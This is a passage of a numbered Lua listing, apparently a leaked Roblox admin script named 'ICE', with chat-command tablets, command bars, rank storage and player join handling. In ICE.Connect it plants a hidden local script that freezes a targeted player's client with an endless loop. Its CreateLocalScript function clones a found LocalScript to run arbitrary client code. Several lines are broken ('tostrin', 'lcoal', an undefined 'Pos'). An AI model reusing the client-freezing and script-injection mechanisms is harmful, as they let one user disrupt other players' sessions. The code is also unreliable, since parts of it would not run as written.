  898. if PG:findFirstChild'Info'==nil and ICE.Logos==true then
  899. ScreenGui = Instance.new("ScreenGui", PG)
  900. ScreenGui.Name='Info'
  901. Images={};
  902. ImageButton = Instance.new("ImageButton", ScreenGui)
  903. ImageButton.Position = UDim2.new(0, 0, 0, 200)
  904. ImageButton.Size = UDim2.new(0.20000000298023, 50, 0.20999999344349, 0)
  905. ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
  906. ImageButton.BorderColor3 = Color3.new(0, 0, 0)
  907. ImageButton.BackgroundTransparency = 1
  908. ImageButton.Image = ICE.LogoID
  909. ImageButton.Draggable=true
  910. Image2 = Instance.new("TextButton",ScreenGui)
  911. Image2.Size = UDim2.new(0.3,0,0.1,0)
  912. Image2.Position = UDim2.new(0,0,0,200)
  913. Image2.Text = "Click to show ICE Logo"
  914. Image2.BackgroundTransparency = 0.4
  915. Image2.ZIndex = 10
  916. Image2.FontSize = "Size14"
  917. Image2.TextColor3 = Color3.new(BrickColor.random())
  918. Image2.Visible=false
  919. Image3,Image4,Image5=Image2:clone(),Image2:clone(),Image2:clone()
  920. Image3.Text='Click to view cmds';
  921. Image3.Position=UDim2.new(0,0,0,200+75);
  922. Image4.Position=UDim2.new(0,0,0,200+135);
  923. Image5.Position=UDim2.new(0,0,0,200+195);
  924. Image3.MouseButton1Down:connect(function() ICE.OnChatted(ICE.Bets[1]..'cmds'..ICE.Bets[2],v) end)
  925. Image4.Text='Click to set cmd bar';
  926. Image6=Image5:clone();
  927. Image6.Position=UDim2.new(0,0,0,200+255);
  928. Image6.Text='Set true';
  929. Image6.MouseButton1Down:connect(function() ICE.Ranked[v].CMD=true end)
  930. Image5.MouseButton1Down:connect(function() ICE.Ranked[v].CMD=false end);
  931. Image5.Text='Set false';
  932. Images[1]=Image2;
  933. Images[2]=Image3;
  934. Images[3]=Image4;
  935. Images[4]=Image5;
  936. Images[5]=Image6;
  937. Image4.MouseButton1Down:connect(function()
  938. for i,v in pairs(Images) do
  939. if i > 3 then
  940. if v.Visible==true then
  941. v.Visible=false;
  942. else
  943. v.Visible=true;
  944. end
  945. end
  946. end
  947. end)
  948. ImageButton.MouseButton1Down:connect(function()
  949. ImageButton.Visible=false
  950. for i,v in pairs(Images) do
  951. if i < 4 then
  952. v.Visible=true
  953. end
  954. end
  955. end)
  956. ImageButton.MouseButton2Down:connect(function()
  957. end)
  958. Image2.MouseButton1Down:connect(function()
  959. ImageButton.Visible=true
  960. for i,v in pairs(Images) do
  961. v.Visible=false
  962. end
  963. end)
  964. Image3.Parent,Image4.Parent,Image5.Parent,Image6.Parent=Image2.Parent,Image2.Parent,Image2.Parent,Image2.Parent
  965. end
  966. end)()
  967. if ICE.Ranked[v.Name] and ICE.Ranked[v.Name].CMD==true then
  968. if v:FindFirstChild("PlayerGui") then
  969. Found=false;
  970. for i,p in next,v:children() do
  971. if p:FindFirstChild'IsCmd' then
  972. Found=true;
  973. end
  974. end
  975. if not v.PlayerGui:FindFirstChild("CMD") and Found==false and ICE.Ranked[v.Name].CMD==true then
  976. --[[local Main = Instance.new("ScreenGui",v.PlayerGui)
  977. Main.Name = "CMD"
  978. local Frame = Instance.new("Frame",Main)
  979. Frame.Size = UDim2.new(0.27,0,0.05,0)
  980. Frame.Position = UDim2.new(0.05,0,0.95,0)
  981. Frame.Style = "RobloxSquare"
  982. Frame.ZIndex = 9
  983. local Txt = Instance.new("TextBox",Frame)
  984. Txt.Size = UDim2.new(0.7,0,1,0)
  985. Txt.BackgroundTransparency = 1
  986. Txt.ZIndex = 10
  987. Txt.FontSize = "Size14"
  988. Txt.TextColor3 = ICE.Colors.White
  989. Txt.Text = ""
  990. local Exe = Instance.new("TextButton",Frame)
  991. Exe.Size = UDim2.new(0.3,0,1,0)
  992. Exe.Position = UDim2.new(0.7,0,0,0)
  993. Exe.Text = "Execute"
  994. Exe.BackgroundTransparency = 1
  995. Exe.ZIndex = 10
  996. Exe.FontSize = "Size14"
  997. Exe.TextColor3 = Color3.new(BrickColor.random())
  998. Exe.MouseButton1Down:connect(function()
  999. if Txt.Text:sub(1,1) == "^" then
  1000. ICE.OnChatted(Txt.Text,v)
  1001. else
  1002. ICE.OnChatted(Txt.Text,v,true)
  1003. end
  1004. end)
  1005. Is=Instance.new'StringValue'
  1006. Is.Parent=Main
  1007. Is.Name='IsCmd'
  1008. --]]
  1009. CommandBar = Instance.new'ScreenGui'
  1010. CommandBar.Parent=PG
  1011. CommandBar.Name = 'CMD'
  1012. Run = Instance.new('TextButton', CommandBar)
  1013. Run.Name = 'Run'
  1014. Run.Position = UDim2.new(0, 75, 0.15, 500)
  1015. Run.Size = UDim2.new(0, 70, 0, 20)
  1016. Run.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
  1017. Run.BorderColor3 = Color3.new(1, 1, 1)
  1018. Run.BackgroundTransparency = 0.5
  1019. Run.Text = 'Run'
  1020. Run.FontSize = Enum.FontSize.Size12
  1021. Run.TextStrokeTransparency = 0
  1022. Run.TextColor3 = Color3.new(1, 1, 1)
  1023. Run.ZIndex=10
  1024. Txt = Instance.new('TextBox', CommandBar)
  1025. Txt.Name = 'Txt'
  1026. Txt.Position = UDim2.new(0, 150, 0.15, 500)
  1027. Txt.Size = UDim2.new(0, 850, 0, 20)
  1028. Txt.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
  1029. Txt.BorderColor3 = Color3.new(1, 1, 1)
  1030. Txt.BackgroundTransparency = 0.5
  1031. Txt.Text = ''
  1032. Txt.FontSize = Enum.FontSize.Size12
  1033. Txt.TextStrokeTransparency = 0
  1034. Txt.TextXAlignment = Enum.TextXAlignment.Left
  1035. Txt.TextColor3 = Color3.new(1, 1, 1)
  1036. Txt.ZIndex=10
  1037. Clear = Instance.new('TextButton', CommandBar)
  1038. Clear.Name = 'Clear'
  1039. Clear.Position = UDim2.new(0, 0, 0.15, 500)
  1040. Clear.Size = UDim2.new(0, 70, 0, 20)
  1041. Clear.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
  1042. Clear.BorderColor3 = Color3.new(1, 1, 1)
  1043. Clear.BackgroundTransparency = 0.5
  1044. Clear.Text = 'Clear'
  1045. Clear.FontSize = Enum.FontSize.Size12
  1046. Clear.TextStrokeTransparency = 0
  1047. Clear.TextColor3 = Color3.new(1, 1, 1)
  1048. Clear.ZIndex=10
  1049. Is=Instance.new'StringValue'
  1050. Is.Parent=CommandBar
  1051. Is.Name='IsCmd'
  1052. Run.MouseButton1Down:connect(function()
  1053. if Txt.Text:sub(1,1) == "^" then
  1054. ICE.OnChatted(Txt.Text:sub(2),v)
  1055. else
  1056. ICE.OnChatted(Txt.Text,v,true)
  1057. end
  1058. end)
  1059. Clear.MouseButton1Down:connect(function() Txt.Text="" end)
  1060. end
  1061. end
  1062. end
  1063. end)()
  1064. end
  1065. if ICE.ActivateGrow==true then
  1066. for i,v in pairs(ICE.Tablets) do
  1067. if v.JustMade==false then
  1068. if v.Rising==true then
  1069. if v.Part.Size.x >= 2.5 then
  1070. v.Rising=false
  1071. else
  1072. v.Part.Size=Vector3.new(v.Part.Size.x+0.1,v.Part.Size.y+0.1,v.Part.Size.z+0.1)
  1073. end
  1074. else
  1075. if v.Part.Size.x <= 1 then
  1076. v.Rising=true
  1077. else
  1078. v.Part.Size=Vector3.new(v.Part.Size.x-0.1,v.Part.Size.y-0.1,v.Part.Size.z-0.1)
  1079. end
  1080. end
  1081. end
  1082. end
  1083. end
  1084. local Source=game:findFirstChild("DSource",true) or game:findFirstChild("Source",true) or game:findFirstChild("source",true)
  1085. if Source then
  1086. if ICE.LocalScript==nil then
  1087. if Source.Parent:IsA'LocalScript' then
  1088. Par=Source.Parent:Clone()
  1089. Par:ClearAllChildren()
  1090. ICE.LocalScript=Par
  1091. for _,v in pairs(ICE.Services.Players:GetPlayers()) do
  1092. if ICE.GetRank(v) >= 1 then
  1093. ICE.Output('[ICE]: Found local script','White',v,3)
  1094. end
  1095. end
  1096. end
  1097. end
  1098. end
  1099. end)()
  1100. -- pcall(function()
  1101. for i,v in pairs(ICE.Tablets) do
  1102. if v.Model == nil or v.Model.Parent == nil or v.Part == nil or v.Part.Parent==nil then
  1103. ICE.Tablets[i]=nil
  1104.  
  1105. end
  1106. pcall(function() if ICE.Services.Players:FindFirstChild(v.Player) == nil then
  1107. v.Model:Destroy()
  1108. ICE.Tablets[i]=nil
  1109. end end)
  1110. end
  1111. for _,Player in pairs(ICE.Services.Players:GetPlayers()) do
  1112. local _tablets = ICE.GetTablets(Player)
  1113. local DismissTablets={}
  1114. local TabletNumber = 0
  1115. for i,v in pairs(_tablets) do
  1116. if #_tablets == 1 then
  1117. if v.Label.Text == 'Dismiss' then
  1118. v.Model:Destroy()
  1119. _tablets[i]=nil
  1120. end
  1121. elseif #_tablets > 1 then
  1122. if v.Label.Text == "Dismiss" then
  1123. table.insert(DismissTablets,v)
  1124. end
  1125. end
  1126. TabletNumber = TabletNumber + 1
  1127. end
  1128. if #DismissTablets > 1 then for i,Tablet in pairs(DismissTablets) do if #DismissTablets > 1 then Tablet.Model:Destroy() DismissTablets[i]=nil end end end
  1129. if #DismissTablets == 0 and #_tablets >=2 then ICE.Output('Dismiss','Red',Player) end
  1130. for i = 1, #_tablets do
  1131. if _tablets[i].Model.Parent ~= nil then
  1132. local tab = _tablets[i].Part
  1133. local pos = nil
  1134. pcall(function()
  1135. pos = Player.Character.Torso.CFrame
  1136. end)
  1137. if pos == nil then
  1138. repeat
  1139. pcall(function() pos=Player.Character.Torso.CFrame end)
  1140. wait()
  1141. until Pos
  1142. end
  1143. if pos then
  1144. local x = math.sin(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6)
  1145. local z = math.cos(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6)
  1146. local cPos = tab.Position
  1147. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1148. local nPos = (ePos-cPos)*.25
  1149. cPos = cPos + nPos
  1150. --local Angles={};
  1151. Angles={_tablets[i].x,_tablets[i].y,_tablets[i].z}
  1152. Angles[1]=Angles[1]+tonumber( math.random() + math.random() );
  1153. Angles[2]=Angles[2]+tonumber( math.random() + math.random() );
  1154. Angles[3]=Angles[3]+tonumber( math.random() + math.random() );
  1155. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(Angles[1]),math.rad(Angles[2]),math.rad(Angles[3]))
  1156. _tablets[i].x=Angles[1]
  1157. _tablets[i].y=Angles[2]
  1158. _tablets[i].z=Angles[3]
  1159. if tab:findFirstChild("Effect") then
  1160. tab.Effect.CFrame = tab.CFrame
  1161. end
  1162. end
  1163. else
  1164. _tablets[i]=nil
  1165. end
  1166. end
  1167. end
  1168. -- end)
  1169. -- end
  1170. end
  1171. ICE.GetTablets=function(Player)
  1172. if type(Player) == 'userdata' then Player=Player.Name end;
  1173. Rt={}
  1174. for i,v in pairs(ICE.Tablets) do if v.Player == Player then table.insert(Rt,v) end end;
  1175. return Rt
  1176. end
  1177. ICE.Replicate=function(Text,Number)
  1178. Total="";
  1179. for i=1,Number do wait()
  1180. Total=Total .. Text;
  1181. end
  1182. return Total
  1183. end;
  1184. ICE.ItemCFrame=function(Item,Bool)
  1185. if type(Item)=='string' then
  1186. Item=game:findFirstChild(Item,Bool)
  1187. end
  1188. -- Load the Item first ;)
  1189. -- Set up tables --
  1190. ReturnTable={};
  1191. MetaReturnTable={
  1192. __index=function(tab,key)
  1193. local Daf={Item=nil,CFrame=nil};
  1194. Daf.Item=ItemCFrame(Item,Bool)[1].Item;
  1195. Daf.CFrame=ItemCFrame(Item,Bool)[1].CFrame;
  1196. ReturnTable[#ReturnTable+1]=Daf
  1197. return Daf;
  1198. end;
  1199. };
  1200. setmetatable(ReturnTable,MetaReturnTable);
  1201. if type(Item) == 'table' then
  1202. for i,v in pairs(Item) do
  1203. if type(i)=='string' then
  1204. table.insert(ReturnTable,{Item=ItemCFrame(i,Bool)[1].Item,CFrame=ItemCFrame(i,Bool)[1].CFrame})
  1205. else
  1206. table.insert(ReturnTable,{Item=ItemCFrame(v,Bool)[1].Item,CFrame=ItemCFrame(v,Bool)[1].CFrame})
  1207. end
  1208. end
  1209. else
  1210. if type(Item)=='userdata' then
  1211. if Item:IsA'Model' then
  1212. CFrame=Item:GetModelCFrame();
  1213. ReturnTable[#ReturnTable+1]={Item=Item.PrimaryPart or Item,CFrame=CFrame};
  1214. else
  1215. ReturnTable[#ReturnTable+1]={Item=Item,CFrame=Item.CFrame};
  1216. end
  1217. else
  1218. return '[Item CFrame Function]: Unsupported argument type(Item)'
  1219. end
  1220. end
  1221. return ReturnTable
  1222. end;
  1223. ICE.Output=function(Text,Color,Player,Time,Func,HoverEnter,HoverExit,Type)
  1224. if Text == nil or Player == nil then return end
  1225. if Player:IsA'Player' then else return end
  1226. if Color == nil then Color = "Orange" end
  1227. if Color == "Random" then
  1228. Color = Color3.new(math.random(),math.random(),math.random())
  1229. end
  1230. if type(Color) == "string" then
  1231. if Color == "Random" then
  1232. Color=Color3.new(math.random(),math.random(),math.random())
  1233. Color = Color3.new(math.random(),math.random(),math.random())
  1234. else
  1235. Color = ICE.Colors[Color]
  1236. end
  1237. end
  1238. local Model=Instance.new'Model'
  1239. Model.Name,Model.Parent='Output:\\['..Player.Name..']/:tuptuO',ICE.Services.Workspace
  1240. local Part=Instance.new'Part'
  1241. Part.Parent,Part.FormFactor,Part.TopSurface,Part.BottomSurface,Part.Transparency,Part.Anchored,Part.Locked,Part.CanCollide,Part.BrickColor,Part.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
  1242. Part:BreakJoints();
  1243. local SelectionBox=Instance.new'SelectionBox'
  1244. SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7
  1245. local BillBoard=Instance.new'BillboardGui'
  1246. BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BBG',Vector3.new(0,3,0),UDim2.new(10,0,10,0)
  1247. local Label=Instance.new'TextLabel'
  1248. Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label',Text,Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color
  1249. local Click=Instance.new'ClickDetector'
  1250. Click.Parent,Click.MaxActivationDistance=Part,1/0
  1251. local Effect=nil;
  1252. if ICE.Tablet ~= 'Normal' then
  1253. Part.Shape='Ball';
  1254. Part.Size=Vector3.new(2,2,2)
  1255. local Effect=Instance.new'Part'
  1256. Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
  1257. Effect:BreakJoints();
  1258. Effect.Parent = Part
  1259. Effect.Name = "Effect"
  1260. Effect.Shape = "Block"
  1261. Effect.FormFactor = "Custom"
  1262. Effect.CFrame=Part.CFrame
  1263. Effect.Transparency = 0
  1264. Effect.Size = Vector3.new(0.875,0.875,0.875)
  1265. SelectionBox.Adornee=Effect
  1266. Part.Transparency=0.5
  1267. elseif ICE.Effect and ICE.Effect==true then
  1268. local Effect=Instance.new'Part'
  1269. Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
  1270. Effect:BreakJoints();
  1271. Effect.Parent = Part
  1272. Effect.Name = "Effect"
  1273. Effect.Shape = "Ball"
  1274. Effect.FormFactor = "Custom"
  1275. Effect.CFrame=Part.CFrame
  1276. Effect.Transparency = 0
  1277. Effect.Size = Vector3.new(0.875,0.875,0.875)
  1278. SellClone=Instance.new'SelectionBox'
  1279. SellClone.Color=BrickColor.new(Color);
  1280. SellClone.Adornee=Effect
  1281. SellClone.Parent=Effect
  1282. SellClone.Transparency=0.5
  1283. end
  1284. if Type then
  1285. if Type == "Tablet" then
  1286. Effect=Part:clone()
  1287. Effect.Size=Vector3.new(1,1,1)
  1288. Effect.Shape=math.random(1,4)
  1289. Effect.Name='Effect'
  1290. Effect:ClearAllChildren();
  1291. Effect.Parent=Part
  1292. end
  1293. end
  1294. pcall(function()
  1295. -- Dynamic lighting
  1296. if ICE.Services.Lighting.GlobalShadows==true and ICE.Services.Lighting.Ambient==Color3.new(0,0,0) or ICE.Services.Lighting.Ambient==Color3.new(-1,-1,-1) then
  1297. Spot=Instance.new'PointLight'
  1298. Spot.Color=Color
  1299. Spot.Parent=Part
  1300. Spot.Range=10
  1301. Spot.Brightness=1/0
  1302. end
  1303. end)
  1304. Click.MouseHoverEnter:connect(function(Clicker)
  1305. if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
  1306. if HoverEnter~=nil then
  1307. HoverEnter(Model,Part,Player.Name,SelectionBox,Label)
  1308. else
  1309. SelectionBox.Transparency,Part.Transparency=0,0.3
  1310. end
  1311. end
  1312. end)
  1313. Click.MouseHoverLeave:connect(function(Clicker)
  1314. if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
  1315. if HoverExit~=nil then
  1316. HoverExit(Model,Part,Player.Name,SelectionBox,Label)
  1317. else
  1318. SelectionBox.Transparency,Part.Transparency=0.7,0.7
  1319. end
  1320. end
  1321. end)
  1322. Click.MouseClick:connect(function(Clicker)
  1323. if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
  1324. if Text=='Dismiss' then
  1325. ICE.RemoveTablets(Player);
  1326. end
  1327. if Func~=nil then
  1328. local Ran,Error=coroutine.resume(coroutine.create(function() Func(Player) end))
  1329. if Ran == nil and Error then
  1330. ICE.Output(Error,'Red',Player,5)
  1331. end
  1332. end
  1333. coroutine.wrap(function()
  1334. for i=0,2.5,0.1 do
  1335. if i <= 1 then
  1336. Part.Transparency,SelectionBox.Transparency,Label.TextTransparency=i,i,i
  1337. end
  1338. Num=2.5-i
  1339. if ICE.Tablet=='Normal' then
  1340. Part.Size=Vector3.new(Num,Num,Num)
  1341. end
  1342. wait()
  1343. end
  1344. if Model then
  1345. Model:Destroy()
  1346. end
  1347. end)()
  1348. end
  1349. end)
  1350. ICE.Tablets[#ICE.Tablets+1] = {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label,Type="No",x=0,y=0,z=0,JustMade=false,Rising=false}
  1351. coroutine.wrap(function()
  1352. if ICE.ActivateGrow==false and ICE.Tablet == 'Normal' then
  1353. for i=0,2.5,0.1 do
  1354. wait()
  1355. Part.Size=Vector3.new(i,i,i)
  1356. end
  1357. wait()
  1358. end
  1359. end)()
  1360. if Time then
  1361. game:service'Debris':AddItem(Model,Time)
  1362. end
  1363. ICE.Rotate()
  1364. return {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label}
  1365. end
  1366. ICE.OutputImg=function(Image,Text,Color,Player,Time,Func)
  1367. Tab = ICE.Output(Text,Color,Player,Time,Func)
  1368. if type(Image)=='number' then Image=tostring(Image) end
  1369. if #Image < #("http://www.roblox.com/") then
  1370. Image="http://www.roblox.com/asset/?id="..Image
  1371. end
  1372. BBG = Instance.new("BillboardGui",Tab.Model)
  1373. BBG.Size = UDim2.new(5,0,6,0)
  1374. BBG.StudsOffset = Vector3.new(0, 7, 0)
  1375. BBG.Adornee = Tab.Part
  1376. Img = Instance.new("ImageLabel",BBG)
  1377. Img.Size = UDim2.new(1,0,1,0)
  1378. Img.BackgroundTransparency = 1
  1379. Img.Image = Image--"http://www.roblox.com/asset/?id=111659053"
  1380. return Tab
  1381. end
  1382. ICE.BCtoC3=function(BC)
  1383. if type(BC)=='userdata' or type(BC)=='BrickColor' then
  1384. return Color3.new(BC)
  1385. elseif type(BC)=='string' then
  1386. return Color3.new(BrickColor.new(BC))
  1387. else
  1388. return 'Unsupported format( ' .. type(BC) .. '; ' .. tostring(BC) .. ')'
  1389. end
  1390. end;
  1391. ICE.SaveData=function(Player)
  1392. local Old=Player:LoadInstance('Data ICE25' )
  1393. New=false
  1394. if Old==nil then
  1395. New=true
  1396. Old=Instance.new'Model'
  1397. end
  1398. if New==true then
  1399. local Rank=Instance.new'IntValue'
  1400. Rank.Parent=Old
  1401. Rank.Name='Rank'
  1402. Rank.Value=ICE.Ranked[Player.Name].Rank
  1403. Color=Instance.new'Color3Value'
  1404. Color.Parent=Old
  1405. Color.Name,Color.Value='Color',ICE.Ranked[Player.Name].Color
  1406. else
  1407. pcall(function()
  1408. if Old.Rank then
  1409. Old.Rank.Value=ICE.Ranked[Player.Name].Rank
  1410. Old.Color.Value=ICE.Ranked[Player.Name].Color
  1411. else
  1412. local Rank=Instance.new'IntValue'
  1413. Rank.Parent=Old
  1414. Rank.Name='Rank'
  1415. Rank.Value=ICE.Ranked[Player.Name].Rank
  1416. Color=Instance.new'Color3Value'
  1417. Color.Parent=Old
  1418. Color.Name,Color.Value='Color',ICE.Ranked[Player.Name].Color
  1419. end
  1420. end)
  1421. end
  1422. Player:SaveInstance('Data ICE25',Old)
  1423. end
  1424. ICE.LoadData=function(Player)
  1425. tab={Rank=nil,Color=nil}
  1426. local Mod=Player:LoadInstance'Data ICE25'
  1427. if Mod then
  1428. tab.Rank=Mod.Rank.Value
  1429. tab.Color=Mod.Color.Value
  1430. end
  1431. return tab
  1432. end
  1433. ICE.CreateLocalScript=function(Source,Parent)
  1434. if Parent==nil then Parent=Instance.new'Model' end
  1435. if Source==nil then return end
  1436. if newLocalScript then
  1437. return newLocalScript(Source,Parent)
  1438. elseif NewLocalScript then
  1439. return NewLocalScript(Source,Parent)
  1440. else
  1441. if ICE.LocalScript~=nil then
  1442. CL=ICE.LocalScript:clone()
  1443. CL:ClearAllChildren();
  1444. CL.Name='[ICE]:PseudoLocal'
  1445. DS=Instance.new'StringValue'
  1446. DS.Name='Source'
  1447. if game.CreatorId==9201 then
  1448. DS.Name='DSource'
  1449. end
  1450. DS.Value=Source
  1451. CL.Disabled=true
  1452. CL.Parent=Parent
  1453. CL.Disabled=false
  1454. return CL
  1455. else
  1456. return nil
  1457. end
  1458. end
  1459. end
  1460. --[[ Mesh = Instance.new("SpecialMesh")
  1461. Mesh.MeshId = "http://www.roblox.com/asset/?id=105408067"
  1462. Mesh.MeshType = Enum.MeshType.FileMesh
  1463. Mesh.Parent=Tab.Part
  1464. ]] --
  1465. ICE.ConChat=function(Player)
  1466. coroutine.wrap(function()
  1467. local Script = ICE.CreateLocalScript([==[
  1468. wait()
  1469. script.Parent=Instance.new'Glue'
  1470. LocalPlayer=game:service'Players'.LocalPlayer;
  1471. Rank=]==]..tostrin(ICE.Ranked[Player].Rank)..[==[;
  1472. repeat
  1473. wait()
  1474. until LocalPlayer.Parent==nil or LocalPlayer.Parent ~= game.Players;
  1475. LocalPlayer.Chatted:connect(function(Msg)
  1476. if Rank > 0 then
  1477. local Mod=Instance.new'Model'
  1478. lcoal Data=Instance.new'StringValue'
  1479. local Player=Instance.new'Model'
  1480. Player.Name=LocalPlayer.Name
  1481. Mod.Name='External';
  1482. Data.Name='Message'
  1483. Data.Value=tostring(Msg)
  1484. Data.Parent=Mod
  1485. Player.Parent=Mod
  1486. Mod.Parent=game:service'Lighting'
  1487. game:service'Debris':AddItem(Mod,5)
  1488. end
  1489. end)
  1490. ]==],Player.Backpack)
  1491. end)()
  1492. end
  1493. ICE.SetChat=function(Player)
  1494. coroutine.wrap(function()
  1495. local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
  1496. FoundChat=ICE.ChatConnections[Player.Name]
  1497. if FoundChat~=nil then
  1498. FoundChat.Conn:disconnect()
  1499. ICE.ChatConnections[Player.Name]={Conn=Connection}
  1500. else
  1501. ICE.ChatConnections[Player.Name]={Conn=Connection};
  1502. end
  1503. end)()
  1504. end
  1505. ICE.FixChat=function(Player)
  1506. coroutine.wrap(function()
  1507. local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
  1508. FoundChat=ICE.ChatConnections[Player.Name]
  1509. if FoundChat~=nil then
  1510. FoundChat.Conn:disconnect()
  1511. ICE.ChatConnections[Player.Name]={Conn=Connection}
  1512. else
  1513. ICE.ChatConnections[Player.Name]={Conn=Connection};
  1514. end
  1515. end)()
  1516. end
  1517. ICE.Connect=function(Player)
  1518. coroutine.wrap(function()
  1519. repeat wait() until Player.Character and Player:findFirstChild'Backpack'
  1520. if newLocalScript then
  1521. newLocalScript([==[
  1522. wait()
  1523. script.Parent=Instance.new'Glue'
  1524. LocalPlayer=game:service'Players'.LocalPlayer;
  1525. LocalPlayer.Chatted:connect(function(Msg)
  1526. --if Rank > 0 then
  1527. if game.Players:findFirstChild(LocalPlayer.Name)==nil then
  1528. Mod,Mg,Pg=Instance.new'Model',Instance.new'StringValue',Instance.new'StringValue'
  1529. Mod.Name,Mg.Name,Pg.Name='External','Message',LocalPlayer.Name
  1530. Mg.Value,Pg.Value=tostring(Msg),'Player'
  1531. Mg.Parent,Pg.Parent=Mod,Mod
  1532. Mod.Parent=game.Workspace
  1533. game:service'Debris':AddItem(Mod,5)
  1534. end
  1535. --end
  1536. end)
  1537. ]==],Player.Backpack)
  1538. newLocalScript([[
  1539. ICE={
  1540. Services={};
  1541. }
  1542. for i,v in pairs(game:children()) do ICE.Services[v.Name]=v end
  1543. LocalPlayer=ICE.Services.Players.LocalPlayer;
  1544. script.Parent=nil;
  1545. script:ClearAllChildren();
  1546. Removed=false
  1547. game:service'RunService'.Stepped:connect(function()
  1548. if Removed==false then
  1549. if ICE.Services.Lighting:findFirstChild'Disconnect' then
  1550. local Item=ICE.Services.Lighting:findFirstChild'Disconnect'
  1551. if Item.Value==LocalPlayer.Name then
  1552. pcall(Item.Destroy,Item)
  1553. LocalPlayer.Parent=nil
  1554. wait()
  1555. LocalPlayer.Parent=ICE.Services.Players
  1556. wait(1)
  1557. repeat until nil
  1558. end
  1559. end
  1560. if ICE.Services.Lighting:findFirstChild'Ender' then
  1561. if ICE.Services.Lighting.Ender.Value=="]]..ICE.Ender..[[" then
  1562. Removed=true
  1563. end
  1564. end
  1565. end
  1566. end)]],Player.Character)
  1567. ICE.Output('Connect succesfully!','Green',Player,3)
  1568. end
  1569. end)()
  1570. coroutine.wrap(function()
  1571. Player:WaitForDataReady()
  1572. if Player.Character==nil then
  1573. Player:LoadCharacter();
  1574. end
  1575. if ICE.Ranked[Player.Name]==nil then
  1576. local Rankkh=0
  1577. Colorr=Color3.new(0,1,0);
  1578. local Item=ICE.LoadData(Player)
  1579. if Item.Rank ~= nil then
  1580. Rankkh=Item.Rank
  1581. Colorr=Item.Color
  1582. end
  1583. ICE.Ranked[Player.Name]={Rank=Rankkh,Color=Color3.new(0,1,0),CMD=false};
  1584. end
  1585. coroutine.wrap(function()
  1586. local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
  1587. FoundChat=ICE.ChatConnections[Player.Name]
  1588. if FoundChat~=nil then
  1589. FoundChat.Conn:disconnect()
  1590. ICE.ChatConnections[Player.Name]={Conn=Connection}
  1591. else
  1592. ICE.ChatConnections[Player.Name]={Conn=Connection};
  1593. end
  1594. end)()
  1595. ToBeRemoved=false
  1596. if ICE.Ranked[Player.Name].Rank == -1 then
  1597. for _,v in pairs(ICE.Services.Players:children()) do
  1598. if v.Name == Player.Name then
  1599. --
  1600. else
  1601. pcall(function() Player:Destroy() end)
  1602. ICE.Output(Player.Name .. ' has been removed due to a banishment','Red',v,5)
  1603. end
  1604. end
  1605. repeat
  1606. Player:Destroy();wait();
  1607. until Player==nil
  1608. end
  1609. if Player.Name:sub(1,6) == 'Guest ' then
  1610. ToBeRemoved=true
  1611. for _,v in pairs(ICE.Services.Players:children()) do
  1612. if v.Name ~= Player.Name then
  1613. pcall(function() Player:Destroy() end)
  1614. ICE.Output(Player.Name .. ' has been removed because guests are not allowed.','Red',v,5)
  1615. end
  1616. end
  1617. end
  1618. if Player.AccountAge < 7 and ICE.Ranked[Player.Name].Rank == 0 then
  1619. ToBeRemoved=true
  1620. for _,v in pairs(ICE.Services.Players:children()) do
  1621. if v.Name ~= Player.Name then
  1622. pcall(function() Player:Destroy() end)
  1623. ICE.Output(Player.Name .. ' has been removed because his/her account is not a week old yet.','Red',v,5)
  1624. end
  1625. end
  1626. end
  1627. if ToBeRemoved==true then
  1628. repeat
  1629. Player:Destroy();wait();
  1630. until Player==nil
  1631. else
  1632. --if ICE.LocalScript and game.PlaceId~= 21053279 then
  1633. --end
  1634.  
  1635. end
  1636. repeat
  1637. wait()
  1638. until ICE.Ranked[Player.Name]
  1639. wait()
  1640. if ICE.Services.Players:findFirstChild(Player.Name) and ToBeRemoved==false then
  1641. --Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
  1642. ICE.SetChat(Player);
  1643. if ICE.GetRank(Player) > 0 then
  1644. ICE.Output('Your rank is ' .. ICE.GetRank(Player),'Orange',Player,10)
  1645. ICE.Output('Welcome to ICE by ICEAdminLeaked','Green',Player,10)
